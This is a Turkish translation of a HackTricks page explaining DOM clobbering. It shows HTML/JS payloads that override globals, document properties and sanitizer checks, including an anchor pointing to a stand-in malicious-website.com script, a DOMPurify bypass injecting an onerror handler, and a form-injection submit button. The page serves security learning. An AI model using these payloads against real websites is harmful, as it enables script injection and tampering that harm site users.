13 KiB
Dom Clobbering
AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!
- Bir siber güvenlik şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını yapmak ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonunu.
- Resmi PEASS & HackTricks ürünlerini edinin.
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter'da 🐦@carlospolopm'u takip edin.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo ile göndererek paylaşın.
Temel Bilgiler
HTML etiketlerinde id
ve name
özellikleriyle JS bağlamında global değişkenler oluşturmak mümkündür.
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
Sadece belirli öğeler, embed
, form
, iframe
, image
, img
ve object
öğeleri, name özniteliğini kullanarak global değişkenleri clobber edebilir.
İlginç bir şekilde, bir form öğesi kullanarak bir değişkeni clobber ettiğinizde, öğenin kendisinin toString
değerini alırsınız: [object HTMLFormElement]
ancak anchor ile toString
değeri anchor'ın href
değeri olacaktır. Bu nedenle, a
etiketi kullanarak clobber yaparsanız, dize olarak işlendiğinde değeri kontrol edebilirsiniz:
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
Diziler ve Öznitelikler
Bir dizi ve nesne özniteliğini clobber etmek de mümkündür:
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
Bir 3. özniteliği (örneğin x.y.z) clobberlamak için bir form
kullanmanız gerekmektedir:
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
Daha fazla özniteliği clobberlemek daha karmaşık ama hala mümkün, iframeler kullanılarak:
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
{% hint style="warning" %} Stil etiketi, iframe'in render işlemini yapması için yeterli zamanı vermek için kullanılır. Bu olmadan, bir tanımsız uyarısıyla karşılaşacaksınız. {% endhint %}
Daha derin öznitelikleri clobberlemek için, aşağıdaki gibi html kodlamasıyla iframe'ler kullanabilirsiniz:
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
Filtre Atlama
Bir filtre, document.getElementByID('x').attributes
gibi bir şey kullanarak bir düğümün özelliklerini döngüyle geçiyorsa, .attributes
özniteliğini clobber edebilir ve filtreyi kırabilirsiniz. tagName
, nodeName
veya parentNode
gibi diğer DOM özellikleri de clobberable olabilir.
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
window.someObject
'ı Clobberlama
JavaScript'te sıkça şu şekilde karşılaşılır:
var someObject = window.someObject || {};
Sayfa üzerinde HTML manipülasyonu, someObject
'i bir DOM düğümüyle geçersiz kılmanıza ve potansiyel olarak güvenlik açıklarına neden olmanıza olanak tanır. Örneğin, someObject
'i kötü amaçlı bir betiğe işaret eden bir bağlantı elemanıyla değiştirebilirsiniz:
<a id=someObject href=//malicious-website.com/malicious.js></a>
Zararlı bir kodda şu gibi bir açık bulunabilir:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
Bu yöntem, istenmeyen kodları çalıştırmak için betik kaynağını kullanır.
Hile: DOMPurify
, cid:
protokolünü kullanmanıza olanak tanır, bu da çift tırnakları URL kodlaması yapmadığı anlamına gelir. Bu, çalışma zamanında kodun çözümleneceği kodlanmış çift tırnakları enjekte edebileceğiniz anlamına gelir. Bu nedenle, <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
gibi bir şey enjekte etmek, HTML kodlu "
'nin çalışma zamanında çözümleneceğini ve öznitelik değerinden kaçacağını ve onerror
olayını oluşturacağını yapar.
Başka bir teknik, bir form
öğesi kullanır. Belirli bir istemci tarafı kitaplığı, yeni oluşturulan bir form öğesinin özniteliklerini temizlemek için bunları kontrol eder. Ancak, formun içine id=attributes
olan bir input
ekleyerek, öznitelikler özelliğini etkili bir şekilde üzerine yazarsınız ve temizleyicinin gerçek özniteliklere erişmesini engellersiniz.
Bu tür bir üzerine yazma örneğini bu CTF yazısında bulabilirsiniz.
Belge nesnesi üzerine yazma
Belge Nesnesi'nin özniteliklerini DOM Clobbering kullanarak üzerine yazmak mümkündür:
Belge arayüzü isimli özellikleri destekler. Herhangi bir anda bir Belge nesnesinin desteklenen özellik adları, aşağıdakileri içerir: ağaç sırasına göre, katkıda bulunan öğeye göre, daha sonraki yinelenmeleri yok sayarak ve aynı öğe hem ad hem de ad özniteliği katkıda bulunduğunda, ad özniteliği değerleri ad özniteliklerinden önce gelir:
- İsimsiz olmayan ad içeriği olan tüm açığa çıkarılmış embed, form, iframe, img ve açığa çıkarılmış object öğeleri için ad içeriği değeri ve belgeyi kök olarak kullanan bir belge ağaç yapısında bulunan öğeler;
- İsimsiz olmayan id içeriği olan tüm açığa çıkarılmış object öğeleri ve belgeyi kök olarak kullanan bir belge ağaç yapısında bulunan öğeler;
- İsimsiz olmayan id ve isim içeriği olan tüm img öğeleri ve belgeyi kök olarak kullanan bir belge ağaç yapısında bulunan öğeler.
Bu teknik kullanılarak yaygın olarak kullanılan değerlerin üzerine yazabilirsiniz, örneğin document.cookie
, document.body
, document.children
ve hatta document.querySelector
gibi Belge arayüzündeki yöntemler.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Element ezildikten sonra yazma
document.getElementById()
ve document.querySelector()
çağrılarının sonuçları, aynı id özniteliğine sahip bir <html>
veya <body>
etiketi enjekte edilerek değiştirilebilir. İşte nasıl yapılacağı:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
Ayrıca, bu enjekte edilmiş HTML/body etiketlerini gizlemek için stiller kullanarak, innerText
içindeki diğer metinlerin müdahalesi engellenebilir ve böylece saldırının etkinliği artırılabilir:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
SVG araştırmaları, <body>
etiketinin de etkili bir şekilde kullanılabileceğini ortaya çıkardı:
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
HTML etiketinin Chrome ve Firefox gibi tarayıcılarda SVG içinde çalışabilmesi için <foreignobject>
etiketi gereklidir:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Formları Clobbering
Bazı etiketlerin içine form
özniteliğini belirterek bir formun içine yeni girişler eklemek mümkündür. Bu yöntemi kullanarak bir formun içine yeni değerler ekleyebilir ve hatta göndermek için yeni bir düğme bile ekleyebilirsiniz (clickjacking veya bazı .click()
JS kodunu kötüye kullanma):
{% code overflow="wrap" %}
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
{% endcode %}
- Daha fazla form özniteliği için burayı kontrol edin.
Referanslar
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript for hackers: Bir hacker gibi düşünmeyi öğrenin.
AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını yapmak ister misiniz? veya PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Family koleksiyonumuzdaki özel NFT'leri keşfedin
- Resmi PEASS & HackTricks ürünlerini alın
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter'da beni takip edin 🐦@carlospolopm.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo göndererek paylaşın.